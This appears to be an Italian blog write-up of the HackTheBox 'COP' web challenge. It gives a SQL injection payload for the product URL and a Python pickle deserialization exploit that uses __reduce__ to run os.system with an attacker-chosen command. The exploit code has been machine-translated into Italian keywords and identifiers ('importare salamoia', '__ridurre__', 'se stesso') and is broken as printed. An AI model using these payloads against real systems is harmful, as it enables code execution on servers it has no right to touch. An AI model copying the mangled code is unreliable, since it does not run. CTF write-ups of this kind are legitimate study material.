Abbiamo trattato la libreria Pickle di Python e spiegato perché non è più sicura. Inoltre abbiamo dimostrato di sfruttare un'applicazione web che implementa la libreria pickle insieme all'iniezione SQL. Questo faceva parte Sfida web COP di HackTheBox.

Ottieni le note sul certificato OSCP

Il corso completo di Penetration Test con BackBox

DESCRIZIONE DELLA SFIDA

Il COP (Cult of Pickles) ha avviato un nuovo negozio online per vendere la propria merce. Crediamo che i fondi vengano utilizzati per effettuare operazioni illecite di propaganda basate sui sottaceti! Esamina il sito e prova a trovare un modo per interferire nel loro funzionamento!

Video in evidenza

L'URL vulnerabile:

http://ip:porta/prodotto/view/1

Il parametro “1” può essere sostituito con un classico payload SQL come ” OR “1”="1

Il codice sorgente della sfida rivela che l'applicazione web utilizza il pickling Python per serializzare e deserializzare i dati.

Il modulo pickle implementa protocolli binari per serializzare e deserializzare una struttura di oggetti Python. _“Pickling”_ è il processo mediante il quale una gerarchia di oggetti Python viene convertita in un flusso di byte e _“unpickling”_ è l'operazione inversa, mediante la quale un flusso di byte (da un file binario o da un oggetto simile a byte viene riconvertito in un gerarchia degli oggetti.

Python ha dichiarato che pickle non è sicuro da unpickle perché è possibile costruire dati di pickle dannosi che **eseguiranno codice arbitrario durante l'unpickle**. Non deselezionare mai i dati che potrebbero provenire da una fonte non attendibile o che potrebbero essere stati manomessi, come affermato da Python. Il pickling e l'unpickling possono essere eseguiti utilizzando rispettivamente `pickle.dumps` e `pickle.loads`.
Lo sfruttamento di `pickle` può essere eseguito utilizzando `__reduce__` che ci consente di ottenere l'esecuzione del codice nei dati serializzati.
Alla fine lo scopo di sfruttare `pickle` è creare/modificare un pickle per eseguire comandi di sistema sul target.

Abbiamo utilizzato il codice exploit riportato di seguito per risolvere il problema.

importare sistema
importare base64
importare salamoia
importare urllib.parse
importare richieste
importare os

payload = "cp flag.txt application/static/."

classe Esp:

def __ridurre__(se stesso):
ritorno os.system, (carico utile,)

Se __nome__ == "__principale__":

carico utile = base64.b64encode(pickle.dumps(Exp())).decode()

stampa(carico utile)

Videoprocedura dettagliata

Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli